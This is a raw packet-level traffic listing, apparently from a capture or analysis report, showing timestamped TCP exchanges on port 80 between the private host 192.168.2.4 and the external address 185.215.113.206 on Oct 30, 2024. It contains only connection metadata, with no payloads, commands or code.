Oct 30, 2024 20:13:04.712088108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.712133884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790292978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790347099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790359020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790369034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790406942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790406942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790600061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790661097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790815115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790827990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.790868044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.790903091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.791181087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791240931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.791286945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791333914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.791532040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791543007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791553020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791563034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.791587114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.791635990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.792001963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.792061090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.792184114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.792196035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.792243958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.828319073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828373909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828398943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.828421116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.828428030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828470945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.828672886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828685045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828695059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.828707933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.828737020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907273054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907346010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907346010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907360077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907382965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907407045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907571077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907583952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907629013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907645941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.907977104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.907989025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908016920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.908031940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.908309937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908354044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.908503056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908513069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908541918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.908773899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908785105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908795118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.908817053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.908833981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.909281969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.909293890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.909303904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.909327030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.909339905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.909353971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945440054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945508957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945573092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945584059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945616961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945637941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945866108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945878983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945894957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.945914984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945914984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.945933104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.024336100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024393082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024403095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024415970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.024435997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.024673939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024688005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024698973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024710894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.024722099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.024743080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.025348902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.025391102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.025631905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.025644064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.025679111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.025949955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.025960922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.025995016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.026310921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.026321888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.026352882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.026659012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.026696920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.062490940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.062551022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.062587976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.062599897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.062623024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.062639952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.063002110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.063014030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.063024998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.063045979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.063076973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.141490936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.141596079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.141611099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.141623974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.141661882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.141933918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.141978979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.142040014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142132998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.142288923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142299891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142309904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142323017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142323971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.142342091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.142371893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.142951965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142962933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.142975092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.143085957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.143085957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.143472910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.143482924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.143493891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.143527031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.143554926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.179395914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179481030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.179557085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179568052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179608107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.179811954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179822922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179833889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179860115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.179862022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.179872990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.179905891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.258268118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258336067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.258445024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258454084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258497953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.258656025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258666992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258676052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258687019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.258698940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.258717060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.258754015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.259430885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259479046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.259604931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259613991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259651899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.259846926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259857893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259867907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.259886980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.259910107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.260394096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.260405064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.260415077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.260448933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.260466099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.298074007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298089027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298099995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298111916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298122883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298139095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298141003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.298151016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298161983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.298166990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.298185110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.298214912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.376841068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.376926899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.376966953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377021074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.377021074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377068996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.377357960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377392054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377408028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.377428055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377440929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.377468109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.377942085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.377974987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.378006935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.378010035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.378021002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.378047943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.378051043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.378091097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.378730059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.378763914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.378777981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.378808975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.379117966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.379151106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.379170895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.379185915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.379192114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.379230022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.413285971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413341999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.413378000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413391113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413415909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.413430929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.413655996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413666010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413702965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.413896084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413908958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.413944006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.414283991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.414329052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.414355040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.414396048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.414520025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.414566040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494056940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494133949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494224072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494266033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494270086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494313002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494448900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494508982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494590044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494642973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494646072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494677067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494689941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494714022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.494729042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.494762897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.495449066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.495482922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.495498896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.495526075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.495883942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.495899916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.495914936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.495943069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.495965958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.496349096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.496360064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.496404886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.530551910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.530623913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.530663967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.530699968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.530719995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.530745029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.531080961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.531114101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.531138897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.531147957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.531169891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.531187057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.531652927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.531682968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.531708002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.531729937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.571876049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.571934938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.572359085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.572417021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.611068010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611089945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611102104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611123085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.611150980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.611495972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611505985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611540079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.611557007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.611830950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611841917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.611983061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.612246990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.612257004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.612267017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.612276077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.612298012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.612332106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.613008022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.613019943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.613029957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.613042116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.613063097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.613080025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.613099098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.647509098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647577047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.647638083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647685051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647713900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.647761106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.647881031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647913933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647934914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.647947073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.647979975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.648037910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.648385048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.648519039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.648585081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.648617983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.648637056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.648665905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.648958921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.649012089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.727988005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728060007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728143930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728178024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728183985 CET	49730	80	192.168.2.4	185.215.113.206
